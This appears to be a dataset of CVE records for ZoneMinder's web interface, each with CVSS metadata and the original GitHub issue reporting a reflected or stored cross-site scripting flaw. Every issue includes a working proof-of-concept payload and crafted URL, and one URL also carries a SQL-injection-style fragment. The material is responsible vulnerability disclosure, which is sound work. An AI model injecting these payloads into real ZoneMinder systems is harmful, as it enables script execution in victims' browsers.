**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `console`, insecurely prints the `Host` value on the webpage, without applying any proper filtration, leading to Self - stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=console Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the http://localhost/zm/index.php?view=monitor&mid=1&tab=source - Inject the XSS payload into the `Host Name` field. - Navigate to the affected URL, payload will be triggered <img width="521" alt="console" src="https://user-images.githubusercontent.com/47003572/51704205-7422a700-203e-11e9-919d-f98f01e1cfa5.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - console.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2452/comments

0

2019-01-24T19:44:53Z

2019-02-09T10:30:32Z

https://github.com/ZoneMinder/zoneminder/issues/2452

402,866,805

2,452

CVE-2019-7327

2019-02-04T19:29:00.477

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'scale' parameter value in the view frame (frame.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2447" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2447

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `frame`, insecurely prints the `scale` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=frame&eid=2&fid=99&scale=<script>alert('1');</script> Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL, Payload would be triggered. <img width="553" alt="frame" src="https://user-images.githubusercontent.com/47003572/51702809-c3ff6f00-203a-11e9-80cc-6ff31184bde6.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - frame.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2447/comments

0

2019-01-24T19:18:03Z

2019-02-09T23:11:58Z

https://github.com/ZoneMinder/zoneminder/issues/2447

402,856,994

2,447

CVE-2019-7328

2019-02-04T19:29:00.523

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'scale' parameter value in the view frame (frame.php) via /js/frame.js.php because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2449" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2449

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `frame`, insecurely prints the `scale` parameter value on the webpage that is without applying any proper filtration, leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=frame&eid=1&fid=1&scale=</script>"><img src=x onerror=prompt('1');> Payload used - `</script>"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. Affected source Files: /web/skins/classic/views/frame.php /web/skins/classic/views/js/frame.js.php <img width="456" alt="frame 3" src="https://user-images.githubusercontent.com/47003572/51703300-02495e00-203c-11e9-911d-09bd7188b4f6.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - frame.php (3)

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2449/comments

0

2019-01-24T19:26:47Z

2019-02-09T23:11:58Z

https://github.com/ZoneMinder/zoneminder/issues/2449

402,860,291

2,449

CVE-2019-7329

2019-02-04T19:29:00.570

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the form action on multiple views utilizes $_SERVER['PHP_SELF'] insecurely, mishandling any arbitrary input appended to the webroot URL, without any proper filtration, leading to XSS.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2446" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2446

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The form action on the multiple views utilizes `$_SERVER['PHP_SELF'];` insecurely. Any arbitrary input appended to the webroot URL, without any proper filtration would lead to an reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php/"><img src=x onerror=prompt('1');>?view=monitor Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - Multiple ($_SERVER['PHP_SELF'])

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2446/comments

0

2019-01-24T19:14:11Z

2019-02-10T06:12:59Z

https://github.com/ZoneMinder/zoneminder/issues/2446

402,855,606

2,446

CVE-2019-7330

2019-02-04T19:29:00.600

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'show' parameter value in the view frame (frame.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2448" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2448

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `frame`, insecurely prints the `show` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=frame&eid=2&fid=99&scale=test&show=<script>alert('1');</script> Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL(with valid fid,eid), Payload would be triggered. <img width="519" alt="frame 1" src="https://user-images.githubusercontent.com/47003572/51703093-78999080-203b-11e9-8888-25533cb2d9f7.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - frame.php (2)

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2448/comments

0

2019-01-24T19:22:37Z

2019-02-09T23:11:57Z

https://github.com/ZoneMinder/zoneminder/issues/2448

402,858,733

2,448

CVE-2019-7331

2019-02-04T19:29:00.647

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3 while editing an existing monitor field named "signal check color" (monitor.php). There exists no input validation or output filtration, leaving it vulnerable to HTML Injection and an XSS attack.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2451" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2451

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** A user can edit an existing monitor thereby modifying various misc properties, one of them being `signal check color`. There exists no input validation & output filtration, leaving it vulnerable to HTML Injection, XSS attack. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=monitor&tab=misc Payload used - `"><a href="javascript:alert('1')` - Navigate to the Affected URL & modify the Signal check Color field with the provided payload & click on save. - Click on the color box, XSS would be triggered. <img width="314" alt="colour" src="https://user-images.githubusercontent.com/47003572/51703995-ea72d980-203d-11e9-96a2-3cdd824b32be.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting (XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2451/comments

0

2019-01-24T19:40:22Z

2019-02-10T00:43:25Z

https://github.com/ZoneMinder/zoneminder/issues/2451

402,865,181

2,451

CVE-2019-7332

2019-02-04T19:29:00.693

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'eid' (aka Event ID) parameter value in the view download (download.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2442" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2442

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `download`, while exporting an event file, prints the `eid` (Event ID) on the webpage without applying any proper filtration, leading to an XSS issue. **To Reproduce** Affected URL : [http://localhost/zm/index.php?view=download&eid=<script>alert('1');</script>&exportFile=File&generated=1](http://localhost/zm/index.php?view=download&eid=<script>alert('1');</script>&exportFile=File&generated=1) Payload used - `<script>alert('1');</script>` - Navigate to the Affected URL, Payload would be triggered. <img width="544" alt="download - 2" src="https://user-images.githubusercontent.com/47003572/51695760-d58c4b00-2029-11e9-8c38-65a2cd44a886.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - download.php (2)

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2442/comments

0

2019-01-24T17:17:24Z

2019-02-09T09:37:57Z

https://github.com/ZoneMinder/zoneminder/issues/2442

402,812,072

2,442

CVE-2019-7333

2019-02-04T19:29:00.740

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view download (download.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2441" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2441

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `download`, while exporting an event file, prints the `Exportfile` parameter value on the webpage without applying any proper filtration, leading to reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=download&eid=1&exportFile=javascript:alert('1');`&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="477" alt="download - 1" src="https://user-images.githubusercontent.com/47003572/51695053-23a04f00-2028-11e9-8f0d-8dc5a40cfcd1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - download.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2441/comments

0

2019-01-24T17:06:53Z

2019-02-09T09:17:26Z

https://github.com/ZoneMinder/zoneminder/issues/2441

402,807,645

2,441

CVE-2019-7334

2019-02-04T19:29:00.773

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'Exportfile' parameter value in the view export (export.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2443" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2443

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `export`, while exporting an event file, prints the `Exportfile` name of the webpage without applying any proper filtration, leading to an XSS issue **To Reproduce** Affected URL : http://localhost/zm/index.php?view=export&eid=&exportFile=javascript:alert('1');&generated=1 Payload used - `javascript:alert('1');` - Navigate to the Affected URL - Click on Download, Payload would be triggered. <img width="505" alt="export - 1" src="https://user-images.githubusercontent.com/47003572/51700709-d32fee00-2035-11e9-90a9-68f528c8415e.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - export.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2443/comments

0

2019-01-24T18:42:31Z

2019-02-09T10:02:42Z

https://github.com/ZoneMinder/zoneminder/issues/2443

402,843,957

2,443

CVE-2019-7335

2019-02-04T19:29:00.803

Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'log' as it insecurely prints the 'Log Message' value on the web page without applying any proper filtration. This relates to the view=logs value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2453" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2453

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `log`, insecurely prints the `Log Message` value on the webpage without applying any proper filtration, leading to XSS. Example - Attacker can entice the victim visit an non-existing view (using XSS payload instead of a valid view), the non-existing view will be reflected back in the logs, thereby triggering the XSS payload. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=logs Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to any URL, which reflects back the user supplied input into the logs view (http://localhost/zm/index.php?view=XSSPAYLOAD) - Navigate to the affected link, payload would be triggered. <img width="390" alt="logs" src="https://user-images.githubusercontent.com/47003572/51704509-42f6a680-203f-11e9-8cfe-c49dd2f0b65f.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - log.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2453/comments

0

2019-01-24T19:52:38Z

2019-02-10T02:44:06Z

https://github.com/ZoneMinder/zoneminder/issues/2453

402,869,600

2,453

CVE-2019-7336

2019-02-04T19:29:00.850

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view _monitor_filters.php contains takes in input from the user and saves it into the session, and retrieves it later (insecurely). The values of the MonitorName and Source parameters are being displayed without any output filtration being applied. This relates to the view=cycle value.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2457" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2457

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** Multiple views include the view `_monitor_filters.php`, being the file where the vulnerable code exists. The view `_monitor_filters` contains a filter form, where it takes in input from the user & saves it into the session, in order to preserve & retrieve it later (insecurely). The value of `MonitorName` & `Source` parameter are being displayed without any output filtration being applied. **To Reproduce** Multiple Views (cycle.php example ) Affected URL : http://localhost/zm/index.php?view=cycle&filtering=&MonitorName="><img src=x onerror-prompt('1');>&Function[]=Modect&Status[]=Unknown&Status[]=w&Source="><img src=x onerror-prompt('1');> Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="673" alt="cycle" src="https://user-images.githubusercontent.com/47003572/51705421-9ec22f00-2041-11e9-888c-7c10a34d41d4.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - _monitor_filters.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2457/comments

0

2019-01-24T20:09:34Z

2019-02-10T03:14:41Z

https://github.com/ZoneMinder/zoneminder/issues/2457

402,875,767

2,457

CVE-2019-7337

2019-02-04T19:29:00.897

Reflected Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3 as the view 'events' (events.php) insecurely displays the limit parameter value, without applying any proper output filtration. This issue exists because of the function sortHeader() in functions.php, which insecurely returns the value of the limit query string parameter without applying any filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2456" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2456

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `events`, insecurely displays the `limit` parameter value, without applying any proper output filtration leading to XSS. This issue exists because of function `sortHeader()` in `functions.php` which insecurely returns the value of `limit` query string parameter without applying any filtration. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=events&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]==&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=-3439)OR1=1-&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=>=&filter[Query][terms][1][val]=95&sort_field=Id&sort_asc=2&limit="><img src=x onerror-prompt('1');>&page=2 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="655" alt="events 2" src="https://user-images.githubusercontent.com/47003572/51705245-16438e80-2041-11e9-9db8-943fb8a43eb1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - events.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2456/comments

0

2019-01-24T20:03:05Z

2019-02-10T01:28:00Z

https://github.com/ZoneMinder/zoneminder/issues/2456

402,873,415

2,456

CVE-2019-7338

